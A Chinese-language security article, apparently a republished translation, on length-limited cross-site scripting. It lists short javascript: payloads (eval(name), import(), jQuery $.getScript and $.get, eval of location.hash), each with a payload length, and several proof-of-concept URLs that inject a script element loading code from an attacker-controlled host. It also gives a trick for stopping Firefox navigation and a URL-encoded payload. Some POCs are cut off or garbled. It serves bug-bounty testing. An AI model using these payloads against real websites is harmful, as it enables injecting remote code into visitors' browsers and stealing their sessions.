在某些滲透測試情況下,你也許可以插入一段JavaScript,但是由於有字元數目的限制,所以只能進行簡單的彈窗。我最近看到了一份關於HackerOne的文章,也碰到是一樣情況,這就是我之所以寫這篇文章的原因。那篇文章的作者設法執行了任意的JavaScript,但是有些複雜,並且需要少量的用戶交互。這大大減弱了漏洞嚴重性,導致懸賞很低。

我認為,對於XSS,更有前途的POC是從您控制的域載入外部JavaScript。這篇文章列出了可以用儘可能少的字元載入外部JavaScript的方法。

假設我們的有效負載被放置在錨標記的href屬性中,並且被限制為32個字元;

<a href="<INJECTION>">Click</a>

  1. eval(name) 這可能是一個可以執行任意JavaScript的最短的有效負載。name屬性可以被分配任何代碼,並且也繼承了跨域。這給了我們一個好處,使我們可以不受任何限制地執行任何payload,除非頁面重寫name。

    POC: attacker.cm2.pw/?"d=document;s=d.createElement(script);s.src=//cm2.pw;d.body.appendChild(s)";open(//victim.cm2.pw/?xss=<a href="javascript:eval(name)">Click</a>,_self)

    Payload 長度: javascript:eval(name).length==21
  2. import 這是獲取外部JavaScript的另一個最短的payload,但是隻能在基於Chromium的瀏覽器上工作。 POC: victim.cm2.pw/? Payload 長度: javascript:import(/?.?/).length==24
  3. $.getScript

    這是一個非常有名的jQuery函數,用來載入外部JavaScript。在全局上下文中獲取並執行腳本,就像script標籤載入的一樣。但是,這要求jQuery已經在頁面中載入。

    POC: victim.cm2.pw/? Payload 長度: javascript:$.getScript(/?.?/).length==29
  4. $.get 這是另一個jQuery函數,如果返回的Content類型設置為text/javascript,則該函數可以載入和執行外部JavaScript。這實際上是一個僅在jQuery 3.0.0之前能生效的漏洞。 POC: victim.cm2.pw/? Payload 長度:

    javascript:$.get(/?.?/).length==23

  5. 使用現有元素和/或屬性 找到由用戶部分或完全控制的HTML元素和JavaScript屬性值並不罕見。雖然這可能需要花費一些時間,但是當插入的XSS長度受限時,它可以提供巨大的幫助。例如,大多數Ajax驅使應用存儲hash標識符以便於導航。 如果頁面存儲hash如下; const hash = document.location.hash; 我們可以用它來載入外部腳本; eval(""+hash) POC: victim.cm2.pw/? hash=document.location.hash;Click#;d=document;s=d.createElement(script);s.src=//cm2.pw;d.body.appendChild(s) Payload 長度:

    `javascript:eval(""+hash)`.length==25

除了上面已知的技術之外,還有各種其他方式可以載入外部JavaScript。以下是一些我沒有現成案例的說明;

-其他Library

-各種selector的使用

-使用DOM屬性、以及其變種(例如,image id)

在某些情況下,Firefox在單擊JavaScript URI時會跳轉頁面。為了防止這個動作,我們需要引入一個錯誤。因此,其中個解決辦法是在每個payload的結尾添加一些類似無意義的欄位

javascript:eval(name);q
// halts navigation because q is not defined

最後,值得注意的是,還可以對JavaScript URL使用URL編碼,比如;

<a href="javascript:x=%27,alert(1)//">Click</a>
// Thanks @garethheyes

POC:

cm2.pw/?

來源:長度受限情況下的 XSS 攻擊|NOSEC安全訊息平臺 - NOSEC.ORG

白帽匯從事信息安全,專註於安全大數據、企業威脅情報。

公司產品:FOFA-網路空間安全搜索引擎、FOEYE-網路空間檢索系統、NOSEC-安全訊息平臺。

為您提供:網路空間測繪、企業資產收集、企業威脅情報、應急響應服務。


推薦閱讀:
相關文章